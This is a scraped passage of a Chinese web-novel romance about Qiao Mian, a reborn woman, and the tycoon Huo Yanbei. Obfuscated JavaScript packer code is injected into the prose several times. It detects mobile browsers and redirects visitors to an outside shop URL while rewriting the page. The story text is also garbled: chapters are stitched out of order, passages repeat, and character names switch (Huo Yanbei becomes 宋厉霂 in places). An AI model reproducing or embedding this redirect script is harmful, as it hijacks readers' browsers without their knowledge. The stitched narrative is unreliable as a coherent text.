霍宴北只是浅浅笑了下,“走,叔叔带你们找妈妈。” 乔眠跟藜音正聊的火热,压根没注意到三个小宝的情况。 当看到霍宴北抱着乔慕心,牵着乔慕城和乔慕野走过来时,吓得脸都白了。 藜音也是。 “你约的他?” 藜音暗戳戳问。 乔眠紧忙摇头,“我怎么可能约他?” 说罢,起身道,“霍总,好巧,你也来这里吃饭……” 说着,朝乔慕心眨眼睛,“心心,不可以这么不礼貌,快下来。” “哦……” 乔慕心蛄蛹了一下,霍宴北顺势把她放在面前的空位上,然后直接牵着乔慕城和乔慕野走到里面的位置坐了下来。 “不介意一起吃吧?” 男人询问的语气,但已经顾自拿起餐具,一点儿没客气,先是夹了一只大虾放在了孩子的碗里。 乔眠慌的厉害,但面上故作镇静的客气了一句:“如果霍总不嫌弃的话,请便。” 霍宴北挑眉,“对了,乔小姐的包在我那里,有空取一下。” 乔眠:“……” 她这才想起来那晚,把包忘在他车上一事。 …… 翌日。 霍氏集团。 乔眠刚走出电梯,就看到陈珂正站在电梯外面。 应该是来接她的。 来之前,她打过电话。 陈珂:“霍总还在开会,你跟我先去办公室等他。” 说着,抬步朝前走去。 乔眠,“陈特助,我就不进去了,烦劳你帮我把包拿过来给我,可以吗?” 陈珂诧异的眼神看着她。 这个女人前些天还在打听霍总的个人隐私,意图上位。 现在是她接近霍总的大好机会,怎么还矫情上了? 欲情故纵? “可以吗?” 乔眠再次询问。 陈珂本想答应的。 毕竟,取包,不是什么大事。 但是,想到开会之前,霍总叮嘱过,务必要把乔眠带到办公室…… “我不知道你的包放在哪儿,你还是当面问霍总要吧。” 陈珂昧着良心撒谎。 “应该在他办公室。” 陈珂一副为难的表情:“我可不敢私自乱翻霍总的办公室。” 话都说到这个份上了,乔眠只好硬着头皮,跟着他进了总裁办公室。 只是一进门,就愣住了。 这间办公室,是六年前霍宴北刚进入霍氏集团实习,还只是总监时,用过的一间办公室。 没想到,现在改造成了总裁办公室。 “乔小姐,你先坐一会儿,霍总正在开完,等一会回来。” 陈珂倒了一杯水,递给她。 然后,指了指旁边的沙发,招呼她坐下。 乔眠却在看到那张熟悉的真皮沙发时,脸颊蓦地一红。 同时,两人曾经在这张沙发上的一些画面窜入脑海。 她接过水杯,喝了一口水,“我站着就行。” 陈珂怪异的眼神瞅她一眼,没说什么。 只是叮嘱她别乱跑,然后接了一个电话就出去了。 乔眠等了许久,霍宴北才回来。 他看起来很疲惫,走进来在沙发上坐下后,点了一支烟,“找我有事?” 乔眠不想跟他废话,直接说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何眉觉得她心里一定有事,也不嘻嘻了,认真问,“小乔,你到底怎么了?如果你拿我当朋友,跟我说说呗。” 何眉是和她一起从沪城调来京市的。 当初又是一起面试进荣华律所的。 共事两年多,脾气相投,关系很好。 乔眠想了想,还是把自己如何得罪霍宴北,从头到尾,一股脑告诉了她。 何眉听完后,震惊的站起来,眼睛瞪得老大。 “你……你把霍总的小舅子搞到看守所蹲了好几天?” “嘘,小声点啊。” 乔眠一把将她拉坐下来,“我已经签了和解协议,现在他小舅子应该已经放出来了……” 何眉扶额,“咱俩现在绝交还来得及不?” “……” 乔眠一怔。 何眉嗔恼的朝她脸上捏了一把,“傻不傻?这么大的事情,你压在心里不早跟我说,准备呕吐血吗?” 说罢,又心疼的摸了摸她额头上的伤:“霍总那小舅子也忒不是人了,把你伤成这样,你就应该往**索赔!” 乔眠叹了一声,“他们那种身份的人极重利,拿钱的前提,是需要对等交换的。” “是啊,你交换来的二十万给了哑女,屁都没捞着,还把霍总得罪的死死的。” 何眉恨铁不成钢的戳了一下她的脑袋瓜子,“过度善良就是蠢,你自己都缺钱,还圣母玛利亚心?” “那二十万即便不给林霜,也会退还给霍总,不是我该拿的钱,拿到手,也于心不安。” “得。” 何眉气笑了,“你还是祈祷进入霍氏工作后,别被霍总虐吧。” 乔眠一听,更郁闷了。 …… 来不及去幼儿园接孩子了。 乔眠只好打电话给黎音。 让她帮忙去接孩子。 黎音是她的大学同学。 也是她最好的朋友。 前些年,她虽然在沪城,但是,一直跟她断断续续保持着联系。 搬回京市后,她第一时间联系了黎音。 黎音帮她租房,给孩子们找幼儿园。 帮了她很多。 一进屋,就看到三个孩子乔眠走到办公桌前坐下,黎音递给她一双筷子。 她打手语:【谢谢。】 黎音笑着将一个鼓鼓囊囊的购物袋放在她的办公桌上,打手语说:【我给孩子们买了一些吃的,下班后,你带回家。】 乔眠打开一看。 里面有水果,各种罐装坚果,甜糕酸奶,以及面包饼干之类的零食。 黎音家境很好,但对于混迹生意场的黎家看来,先天残障的女儿,就是一件拿不出手的残次品。 黎音在黎家并不受宠。 若不然,一个世家千金,也不会到这里当一个月薪四千的聋哑老师。 这些吃的虽然不是很贵,但乔眠不好意思收。 黎音却一把将袋子塞进她怀里:【收下吧,我喜欢孩子们。】 她只好打手语道谢:【谢谢你,黎音。】 黎音:【以前在京大读书时,我被同学霸凌欺负,你经常帮我,我们是好朋友,不客气。】 听到霸凌欺负四个字,乔眠攥着筷子的手指微微一颤。 低着头,机械性的往嘴里扒了几口饭。 吃的很急。 呛得眼眶生疼。 吃完午饭,黎音先去上课了。 乔眠排在第二节课。 备完课后,还有些时间。 她从包里找到霍宴北的名片,准备还钱。 …… 临近傍晚。 乔眠从学校出来,小跑到了公交站。 但还是没赶上公交车。 下一趟车,要二十分钟。 去幼儿园接孩子,要迟到了。 最近接孩子总迟到,幼儿园老师都有意见了。 正当她犹豫要不要打车时,黎音开车在她面前缓缓停下。 打手语示意她上车。 乔眠没迟疑,拉开车门坐了进去。 “谢谢。”等红绿灯时,乔眠跟黎音道谢。 黎音住在市区,跟她是两个方向。 显然是看到她从学校出来时很着急的样子,这才专门开车送她的。 黎音总是这样善良。 不过,‘谢谢’这句话,她没打手语。 一下午说不出话,有些憋闷,她想开口说话。 不过,她知道,黎音能够读懂唇语。 抵达幼儿园,准备下车时,黎音打手语问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283502|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她:【眠眠,下个月,京大百年校庆典礼,你回去吗?】 乔眠没有一丝犹豫:【不去。】 在所有人眼里,她,已经死在六年前那场大火中了。 京大百年校庆这么隆重的纪念日,都会请一些历届优秀的毕业生。 这些人,现在不是职场精英,就是各行业的顶尖翘楚。 还有跨行业经商的成功人士。 更有像霍宴北那样身居高位的京圈名贵,掌控地方经济命脉的财阀大佬,必定是京大校庆邀请名单里的座上宾。 而她,现在叫乔眠。 在京大学信网,根本查不到的一号无名小卒。 参加校庆,和蹭吃蹭喝别人家的酒席有何不同。 重点是,霍宴北会去。 黎音见她态度坚决,还想说些什么时,幼儿园正好放学了。 乔眠微笑着跟她招招手,就下车离开了。 …… “你……举报的?” 警察怀疑的目光扫视着她。 显然不信。 乔眠:“可以查我手机的通话记录。” 警察从她包里找到手机时,微微一怔。 这手机又破又旧。 屏幕还有几道裂痕。 有些年头了。 想来这姑娘挺穷的。 怪不得混这种营生。 警察打开手机,查证属实后,望着她的眼神更加疑惑了:“那五百块钱怎么解释?” “五百块钱是那两个人让我出去买安全套回来时给的小费,我看到他们偷偷在女生杯里放**,所以就举报了。” 半个小时后。 警察亲自将乔眠送出讯问室:“姑娘,多亏了你的举报和指证,那两个人已经认罪了。” 乔眠神色恍惚了一下,喃声自语:“记得以前我们京大的教授常说,知法律于心,守法律于行。” 警察诧异:“原来你还上过大学?京大可是名校,那你怎么……” 混成现在这副德行? 乔眠在心里填补了他的潜台词。 是啊。 她一个京大高材生,怎么就混成现在这样了呢? 乔眠苦笑。 因为,她没能毕业…… 警察见她沉默,也不便多问。 第215章 在一起 “总之今天多亏了你,才让无辜少女免于受害。” “那……” 乔眠有些难为情的问:“根据公民举报奖励法,视情节,应当给予举报者奖励的,对吗?” 警察:“……” …… 男人一听,变了脸,抓起床头柜上的茶杯摔在她脚下:“你干的就是伺候人的活,跟老子装什么纯?滚滚滚!我要换人!” 乔眠语气淡静:“那麻烦把护工费结算一下。” 男人一听更恼火了。 “你这什么狗屁态度和服务?还有脸要钱?” 乔眠沉默地看着他一会儿。 见他依旧没有给钱的意思。 从包里找出先前签的劳务雇佣合同。 拍照之后,安静地坐在一旁的沙发上,开始操作手机。 男人见状,目光阴沉的瞪着她:“你在干什么?怎么还不滚?” 乔眠没理他,过了两分钟后,将手机屏幕停留的页面展示给他:“我刚才在微信小程序上以遭受性骚扰和被拖欠工资之名,立案起诉您了。” “一周之内,**传票会邮寄到您所在的工作单位,请注意查收。” “……” 男人懵了好一会儿,才反应过来自己被起诉了! 他恼羞成怒的将那一沓钞票,甩到她身上:“我一个大公司经理,还差你这几百块钱?给老子马上撤诉!” “好……” 她只要钱。 既然对方肯妥协,她就没有必要不给余地。 乔眠撤销立案申请,捡起散落一地的钞票。 清点好她应得的护工费,将剩余的钞票还给他,依旧保持着本职工作最基础的素养和礼貌:“先生,祝您早日康复。” 说完,摘掉手上的手套,扔进了垃圾桶。 她拿起包,刚走出病房,却看到一道熟悉的身影,长身玉立在走廊里。 是霍宴北…… 乔眠脑袋一瞬间空白之后,耳蜗,也随之一阵嗡鸣。 四肢百骸的血液,好像顷刻间尽数蹿进了胸脏内。 涨痛的让她有一种无法呼吸的窒息感。 鼻息渐渐紊乱。 身体也禁不住颤了一下。 只觉得世界太小。 才一周,竟又遇到了他。 又是在她最狼狈的情况下。 他今天穿着一身暗色系三件式西服套装。 羊毛质地的黑色衬衫,搭配一件铁灰色马甲和黑色长裤,衬得整个人愈加矜贵肃冷。 只是,气色不是太好。 深邃冷峻的五官,泛着病态的苍白。 专注审视着她的幽深冷眸,带着一抹危险的侵略性。 好像她是一只被他盯上的小猎物,他随时会发动攻击,将她擒于爪下撕碎。 乔眠湿漉漉的眼瞳里闪过一抹惧色,垂眸后,下意识将脸上的口罩往上拽了拽。 装作不认识他,绕过他准备快步离开时,站在霍宴北身边,一个穿着白大褂的男医生,伸手拦住了她。 他戏谑地瞅了一眼霍宴北,调侃她:“姑娘,我兄弟病了,身边正好缺个可心人护理,你要不要过来?” 乔眠皱眉。 她认得这人。 顾淮年。 霍宴北的发小之一。 披着白天使的外衣,工作时一本正经,私下却是个雅痞毒舌的风流浪荡子。 当年,霍宴北的朋友中,数他最爱嘲笑她是一个大胖子。 想起当年,他们这帮人,是如何当着她的面,对她的身材嘲笑羞辱时,应激的生理性恶心,让她胃里一阵翻江倒海。 她拽掉口罩,捂住嘴,干呕一声,跑到卫生间的垃圾桶前吐了。 早上没怎么吃东西,也没吐出什么。 纯粹恶心。 “靠,我是一坨病毒不成,她怎么还吐了?” 顾淮年又气又笑的抖了抖眉尖,转头一看,身边已经没人了。 乔眠吐得脑袋发晕,直到胃里那股恶心劲儿没有那么强烈时,才双腿虚乏的走到洗手台前。 打开水龙头,掬了一捧冷水浇到脸上。 抬头后,却看到镜子里霍宴北那张冷峻逼人的面孔。 撑在洗手台的双手,颤抖着一点点抠紧。 指骨泛白到毫无血色。 乔眠咬着唇瓣,故作镇定的在镜子里与他对视。 他也静静地看着她。 只是,他的眼神极具压迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287617|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感。 两人明明隔着一段距离,她却感觉被他扼住了脖颈,有一种静止的眩晕感。 对峙不过两秒,她怯弱的垂下眼眸。 细密纤长的睫毛轻轻颤动,掩住了眸底潮湿的情绪。 她转过身,低着头,准备快速逃离他的视线时,一方面料精贵的格纹手帕,递到她面前。 霍宴北淡漠的毫无感情的嗓音在头顶响起:“擦擦吧。” 乔眠盯着那只白皙修长的大手攥着的手帕时,瞥见了男人袖口处露出的一条桃核红绳手链。 那是她送给霍宴北的第一份生日礼物。 那时,他还没有被接回霍家。 眼睛也没有复明。 他生日那天,是几个月以来,他第一次肯主动踏出两人住的那间出租小屋。 他不愿用盲人拐杖,却牵住她的小手:“阿妩,你愿不愿意当我一辈子的眼睛?” 当时,少女的羞涩和迷恋都写在脸上。 只是,他看不见。 她在他掌心写下三个字:我愿意。 那天,她带他逛了最热闹的步行街。 路过一个老奶奶摆的地摊时,花十块钱,买了两条寓意平安顺遂的桃核红绳手链。 其中一条当作生日礼物送给了他。 作为回礼,他吻了她。 那是两人第一次接吻。 也是她的初吻。 此时,看着这条代表着两人那段美好回忆的手链时,乔眠只觉得刺眼。 更没想到,他还会戴着这条廉价的手链。 当年,他回到霍家后,就将手链取了下来,换成了宋蔓送给他的那只价值百万的情侣名表。 她以为,他早就将这条桃核手链丢了…… 许是见她低着脑袋,闷不吭声的发怔,霍宴北将手帕往她眼前送了送。 一个细微的小动作,却让乔眠如避蛇蝎般,防御性的推开他的手。 接连后退了几步,直到撞到身后的洗手台才停下脚步。 她抬起头,眼神复杂地看着他。 想看清楚,他心里到底在想什么。 是不是已经认出她了…… 可是,霍宴北依旧只是眼神寂静地盯着她。 第216章 回归霍家 可是,霍宴北依旧只是眼神寂静地盯着她。 就像观摩一件感兴趣的玩物。 不带任何感情。 并未认出她。 就在她低头,回避他的盯视时,霍宴北忽然逼近她。 修长冰冷的手指,捏住了她的下巴。 乔眠吓得愣住了。 思绪一下子拉了回去。 …… 六年前。 乔眠被绑在手术台上,喉咙里发出凄弱的求救声。 她倾尽一切爱的男人,居然要杀她! “眠眠,你研发的新药YK,已经通过临床试验了,你简直是医学界的天才!” “只有你**,YK专利就属于我了。” 语落,魏炎臣没有一丝犹豫,将十倍量的YK药剂,注射进她的血管中。 药,很快起了作用。 乔眠的五脏六腑,像是被刀片一点一点生生割开,疼的浑身抽搐。 她的妹妹秦烟,在一旁愉悦地笑出了声:“好姐姐,你还真是蠢,当初炎臣哥哥之所以和你在一起,不过是为了哄你心甘情愿替他顶罪坐牢!” 原来如此! 乔眠血红的眼睛里翻涌着滔天的愤怒、悔恨、绝望。 难怪她追了多年没有结果的魏炎臣,忽然说爱她,还发誓说一生一世只爱她一人! 原来从一开始,这一切都是骗局! “啊——” 乔眠用尽最后一丝气力,凄厉的吼破了喉咙:“魏炎臣,秦烟,我做鬼都不会放过你们这对狗男女!” “呸!若论贱,哪有人比的过你?你嘴上说和霍宴北是假结婚,也不知道和他滚了多少次了!” “是啊!” 魏炎臣受了刺激似的,一拳打在乔眠的脑袋上,眼底蹿升起熊熊妒火:“乔眠,我曾经也是有那么一点喜欢你的,可殊不知我他妈抱着一个破鞋当成宝!” 乔眠呕出一口鲜血,刚要开口,就被秦烟死死的捂住了嘴巴。 她附在她耳边,低声嘲笑:“姐姐,同为女人,我都觉得你眼瞎爱错了人,倒是可怜了你那前夫傅慎擎,他为了救你,一双腿都残废了,而你,死也要跟他离婚,还把他分给你全部资产,转手给了炎臣哥哥,你真的好蠢啊!” 字字扎心,句句凌迟。 乔眠悔恨的血泪从眼角滚落。 这是她这辈子唯恐避之不及,就连做梦都会吓醒的恶魔。 也是给她万千宠爱,无限纵容的男人。 他受伤了? 她不知道,真的不知道…… 定是那次火场救她时,伤了腿。 她以为只是骨折,却还逼着他签字离婚。 想到这些,乔眠悔得生生咬穿了舌头,鲜血从嘴里喷溅而出。 最后一丝气息也从她生命中彻底剥离。 “乔眠!” “你就这么喜欢他,在我霍宴北的床上,喊他的名字!” 怒吼声响在耳畔,乔眠猛然睁开眼! 霍宴北…… 此刻,他躺在她身边,穿着一身睡衣,气质华贵,五官绝美,正一脸冷色的盯着她。 乔眠不敢置信的瞠大了眼瞳,看到卧房里到处张贴着的喜字时,陡然反应过来……她没死? 这是她和霍宴北结婚的新婚夜! “乔眠,你即便现在后悔跟我结婚,也来不及了!” 见她不说话,直盯盯的看着他,眼泪一颗一颗的往下掉,悲伤的像是**谁似的! 纵然两人只是各取所需的关系,可他也不容许新婚夜里,他的新婚妻子在他的床上,喊别的男人名字! 这是对他极大的侮辱! 霍宴北再也忍不下去,起身下床。 乔眠直接扑过去,抱住了他的大腿:“霍宴北,嫁给你,我一点儿都不后悔,真的不后悔!” 霍宴北挣开她的手:“你不必演戏讨我的好,你放心,只要你演好这七天的假新娘,我会按约定把你母亲的秋陵医院给你。” “这笔买卖,你不亏。” 说完这些话,他便出了卧室。 乔眠哭得更凶了,更难过了。 此时的霍宴北,对她还未动心。 也好,不爱,就不会受伤。 本来,他娶她,也是因霍老爷子逼他的。 等等……霍老爷子! 她瞳孔地震,看了一眼时间。 九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287618|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点半? 算时间,打电话叫救护车已经来不及了。 于是,乔眠连鞋都没穿,直接冲出了卧室。 一楼客厅里,正好遇到了正在打电话的霍宴北。 “大半夜的,你去哪儿?” 男人挂断电话,盯着面色慌张的女人,还以为她真的临时变卦要逃婚,脸色阴郁的吓人:“我说了,现在后悔已经来不及了!” 乔眠抓住他的手,连忙道:“不是!你误会!我……我想去见爷爷!” “见爷爷?然后告诉他,我们假结婚?” 乔眠幽冷的眸,萃了冰似的瞪着她:“我警告你,闭嘴!” 说着,一只手圈住她的腰,将她整个人提了下来,往楼上走去。 乔眠心里又急又气,奈何不知如何解释,干脆扯了一个慌:“实话告诉你吧,我从小有感应能力超出常人,小时候拜过师傅算过卦,我现在心里很慌,总觉得会出什么事,你带去看看爷爷,我担心爷爷的身体会出什么状况。” 宋厉霂一听,脸色愈加阴沉,抬手,扼住了她的脖颈,寒声道:“你敢拿爷爷的身体开玩笑,我掐死你!” 乔眠喘不过来气,干脆脸都不要了,说道:“我不仅知道爷爷会有生命危险,你腹部左侧有道疤,大腿……有块胎记!” 霍宴北直接愣住了! 耳尖一热,甩开了她:“你怎么知道?” 除非和他亲密过,若不然,她是不可能知道他身体上的细节。 莫非…… 霍宴北眸色一凛,“难道刚才你趁我洗澡的时候,偷看我?” 乔眠差点气笑:“我……我可不是变态!我只是想去看看爷爷,若是骗你,我再死一次!” “说的好像你死过的样子!” “……” 男人拧了拧眉,到底是受了她那些话的影响,有些担心爷爷的身体,睨了她一眼:“见到爷爷时,给我管好你的嘴。” “我保证不乱说话!” 这么一耽搁,来到霍老爷子住的东苑时,已是九点五十。 还有十分钟。 这一动静,招来了住在北苑的江凤华。 第217章 身世 江凤华是霍宴北的继母,也不知哪儿得来的信儿,来的这么快。 “宴北,新婚夜,你怎么跑到东苑来了?” 霍宴北语气不冷不淡的回道:“我担心爷爷的身体,过来看看。” “哦?”江凤华狐疑的和身边的张妈对了一下眼神。 心想,该不是老爷子马上要不行了? 怕不是还有什么特别的遗嘱? “你还真是孝顺,难怪霍家孙子辈里的属你最招老太爷喜欢。” 江凤华笑吟吟的,完全没有走的意思。 注意到霍宴北身后的乔眠时,脸色一下子就阴沉下去了:“你在这里做什么?也不看看自己什么名声!要是外面的人知道霍家娶了你,霍家的名誉就毁了!” 以前,她**凤华欺负惨了! 这一次,自然不会再受气,于是,硬怼了回去:“这世上嚼舌根子的人那么多,我管的过来吗!婆婆,大半夜的,你如此盛装打扮,该不是时时刻刻都在等着爷爷的消息?” “你……”江凤华气的脸都绿了,指着她,看向继子,“宴北,我虽不是你的亲生母亲,可也是看着你长大的小姨娘,你就这么任由新媳妇欺辱我?” 男人本就对江凤华不喜,平时和她也是面上过得去的关系,所以,也拍了拍乔眠的脑袋,低声训斥了一句:“愈发不懂事了,去跟母亲道歉。” “老公,你居然凶我?哼!你一点儿都不爱我!” 乔眠知道他只是做样子给江凤华看,于是,装出一副很委屈的样子,硬生生的挤出了两滴泪,小拳拳朝他胸口砸了两拳,一跺脚,骄横的甩给了他一个后背。 肩膀一抽一抽的。 不知道的还以为她在抽泣。 实则在憋笑。 霍宴北被她的演技辣到眼睛,唇角抽狠狠地搐了一下,转过头,懒得理这个戏精。 江凤华还以为成功给了新媳妇一个下马威,得意的眼角皱纹都笑出来了。 这时,卧房里的周管家急匆匆的跑出来:“不好了!老爷好像不行了!” 乔眠惊了一下,直接跑了进去。 乔眠紧跟其后,来到霍老爷子床前,只见他浑身抽搐,仰着头,嘴巴张着,喉咙里发出呼噜呼噜的声音。 随着他剧烈的抽搐,声音越来越小。 “快叫救护车!”乔眠握着霍老爷子的手,心急的吼道。 管家立马打电话去了。 后走进来的江凤华见状,低声对张妈道:“快!把小少爷叫回来。” “是。” 张妈走了以后,江凤华噗通一声,跪在了地上,扒着床沿,大声哭了起来,“哎呦天爷啊!公公呀!您若是走了,整个霍家可怎么办啊!” 霍宴北心烦的瞪了她一眼,江凤华这才闭嘴。 乔眠这时已经找到药箱,从里面拿出听诊器,附身,仔细听了下老爷子的心肺情况。 然后,两指按压了一下他喉咙下面的位置,脸色瞬间一变,对男人道,“是肺部积液,堵塞了气管,再这样下去,心肺衰竭,马上就会没命。” 男人手都是抖的,眼睛里瞬间血红一片,掏出手机,打了一个电话。 乔眠又看了一下霍老爷子的瞳孔,已经开始扩散了,再也等不下去,直接拿出消毒水,倒在手上,消毒,然后拿出注射器,另一只手,按压着老爷子锁骨以上一寸的位置,就要将针管推进去。 男人见状,扣住了她的手,吼道:“你干什么?” “再不把积液引流出来,爷爷会死的。” “你不是医生!” 乔眠急得额头冒汗,“处理这种情况,我是可以做到的!” 霍宴北这才松开了她的手,江凤华却是起身,指着她道,“你故意的!” 说着,看向男人,“宴北,可不能把你爷爷的命交到她手里啊!救护车应该马上到了!” …… 忙完一切后。 乔眠泡了一个热水澡,从浴室里走出来。 她的头发很长,到臀下位置,吹风机吹了许久,依旧没有干透,略凌乱的随意披散着,盈白柔腻的肌肤在乌黑的发丝间若隐若现,纯欲得像二次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292046|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元画报里走出来的少女。 她穿着一件红色蕾丝吊带睡裙,手里拿着一瓶身体乳,坐在梳妆台前,从肩膀到胸口,一路往下,开始均匀涂抹。 抹得很仔细,不放过每一寸肌肤。 一个精致的女人,要懂得保养自己。 毕竟这是资本。 掌心里的身体乳擦抹完,她又倒了一些,将睡裙的肩带往下一拉,露出整个光洁柔夷的背部,继续涂抹。 既然已经决定和霍宴北弄假成真,那么接下来,勾引他,撩拨他,让他爱上她,也是宋太太该做的。 只有让他爱上她,才会心甘情愿的为她以后的复仇之路保驾护航。 毕竟,她想要的,只有宋厉霂能给她。 至于霍宴北爱与不爱她,她丝毫不在意,反正,他很快便会死。 咔嚓一声,卧室房门被人推开。 乔眠涂抹的动作顿住,余光里轻轻一瞥,就见男人颀长冷峻的身影出现在门口。 恰好整个裸露的后背对着他。 睡裙一半松松垮垮的挂在纤细的腰上,腰窝处的红色胎记在发丝间像振翅欲飞的蝴蝶,这样一副活色生香的美人图,惊艳得窗外的月儿都害羞的躲在了云层后面。 绕是禁欲自持的霍宴北也被眼前的美色迷惑得耳尖悄悄的爬上了一抹绯色,线条冷峻的脸上浮现一丝不自然的神色,竟然有些慌乱的移开了视线。 他故意咳了两声,提示她有人进来。 乔眠几不可察地挑了挑眼尾,意外之外的撩,比自己刻意制造的勾引效果更好。 戏说来就来,她很配合的一副刚刚察觉到有人进来的样子,吓得身体瑟缩了一下,快速将肩带拉上去,转过身来,双手护胸的姿势,有些害怕又楚楚可怜看着走进来的男人,精致的小脸上添了一抹羞涩,眼角也泛着红晕,桃花眼里春雨迷蒙,潋滟又多情。 欲泣不泣,欲语还休,好不柔怜。 声音更是软糯娇柔。 她说:“我以为你会睡在别的房间。” “这是我的卧室。” 第218章 1 可是,宴北依旧只是眼神寂静地盯着她。 就像观摩一件感兴趣的玩物。 不带任何感情。 并未认出她。 就在她低头,回避他的盯视时,宴北忽然逼近她。 修长冰冷的手指,捏住了她的下巴。冷冷说完,霍宴北径直走到床前,将手里的时政新闻报刊放在床头柜上,躺到了床上。 乔眠转过身来,明知故问:“要不……我睡在客房吧。” 男人有些烦躁的解开了衣领上的一粒扣子,一抬眼,便看到了吊带短裙下那一双又白又细的美腿,更加烦躁的拧了眉:“新婚夜,你要整个宋宅里的人以及爷爷都知道我们分房而睡?” 女人哦了一声,一副不通人事的懵懂模样,故意乖乖的站着床边不动弹,等他邀请她上床。 只是,没等到邀请,却看到霍宴北盯着她身后的地毯上,脸色渐渐地阴沉了。 “捡起来。”他说,语气很严肃。 “什么?” 乔眠木讷的顺着他的视线,转身看去。 看到地上的红嫁衣时,立马从地上捡了起来。 这嫁衣古朴的跟文物似的,和她拍戏时的戏服差不多,网上买也就几百块钱。 不晓得他宝贝什么? 乔眠顺手就扔到了床边的单人沙发上。 见她一副无所谓的表情,霍宴北唇角紧抿:“这嫁衣是奶奶生前亲手给未来的儿媳缝制的,上面的珠翠宝石若是少了一颗,就是再把你卖一次,也赔不起。” “……” 乔眠愣了一下,忙把嫁衣拎起来,仔仔细细的检查是否有破损掉珠的情况,待检查无误之后,看向已经闭目养神的霍宴北,声音甜的腻人:“老公,这嫁衣我已经穿过了,想来别人也不会再穿了,不如送我当个纪念?” 这一声老公,怎么听怎么虚伪,可依旧蛊惑的让人头皮发麻,霍宴北不自在的咳了一声:“你还真会见缝插针的四处敛财,保不齐哪天我**,就是你毒害的。” “别这么说嘛!人家不是潘金莲,你也不是武大郎,”她在床边坐下,看着他俊美的脸,俏皮的眨了眨眼睛:“老公,你生的好看,怎么说也是西门庆呀!” “乔眠。” 男人极少发脾气,生平头一次被气到想揍一个女人。 他抬手,拽住她的胳膊,将她扔到了床里侧。 动作幅度过大,她本就短的裙摆,直接翻了上去,旖旎春色被他尽收眼底。 乔眠觉察到后,惊叫一声,然后,抓起被子将自己牢牢裹住,脸颊上的红晕蔓延到了脖子根。 妈耶!原来勾引人,可不是谁都能胜任的! 刚才只是一个小意外,她便有些招架不住了。 她干脆躲在被子里,翻了一个身,背对着他,闭眼装睡。 男人深深地看她一眼,懒得搭理她,躺了下来,将毯子一角拉了过来。 “你干嘛?”女人拽着另一角,转过身来,疑惑的瞅着他,“没有别的被子了么?” “这话你得问老爷子!”霍宴北冷了冷脸。 乔眠恍然才想了起来,上一世,她之所以不得不和霍宴北同床共枕,是因老爷子命宋家佣人取走了所有备用床品,连卧室里三人位沙发都搬走了。 这么做的目的,无非是断了分房睡的念想。 “那……给你吧。” 乔眠将被子让他那边推过去一些。 霍宴北拽过被子,躺平,便阖上了眼睛。 乔眠背对着他,躺了下去,却是再也睡不着了。 想着他该是睡着了,才翻了一个身,定定的瞅着霍宴北的侧颜。 扑通扑通,该死的她心跳竟然越跳越快! 早闻霍宴北俊美无比,世无二双,想爬上他的床的女人比海里的鱼都多,此言非虚,别的不说,这张脸是真的引人犯罪! 她两手紧张地捏了捏被角,四周都是男人雄厚清冽的气息。 乔眠窝成小小的一团,心乱如麻。 再次同床共枕,还是很尴尬…… 突然一咬牙,豁出去了! 一把将自己的肩带一扯,松松垮垮地挂在手肘上。 露出瘦削的双肩和精致的锁骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 